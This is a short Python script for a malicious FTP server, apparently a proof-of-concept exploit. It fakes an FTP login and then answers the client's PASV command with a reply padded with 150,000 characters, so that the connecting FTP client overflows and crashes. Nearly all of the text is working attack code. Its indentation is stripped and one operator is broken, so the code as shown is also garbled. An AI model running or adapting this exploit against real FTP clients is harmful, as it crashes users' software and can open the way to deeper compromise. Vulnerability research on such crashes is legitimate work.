from socket import *
host = "0.0.0.0"
port = 21
payload = "A" * 150000
s = socket(AF_INET, SOCK_STREAM)
s.bind((host, 21 ))
s.listen( 1 )
print "[+] Evil FTP Server started"
print "[+] Listening on port %d..." % port
conn, addr = s.accept()
print "[+] Connection accepted from %s" % addr[ 0 ]
conn.send( "220 Welcome to Evil FTP Server\r\n" )
conn.recv( 1024 )
conn.send( "331 Need password for whatever user\r\n" )
conn.recv( 1024 )
conn.send( "230 User logged in\r\n" )
conn.recv( 1024 )
conn.send( "215 UNIX Type: L8\r\n" )
conn.recv( 1024 )
conn.send( "257 \"/\" is current directory\r\n" )
try :
print "[+] Sending evil response for 'PASV' command..."
conn.recv( 1024 )
conn.send( "227 " + payload + "\r\n" )
conn.recv( 1024 )
except error as e:
if e.errno = = 10054 :
print "[+] Client crashed!"
else :
print e
finally :
conn.close()
s.close()
|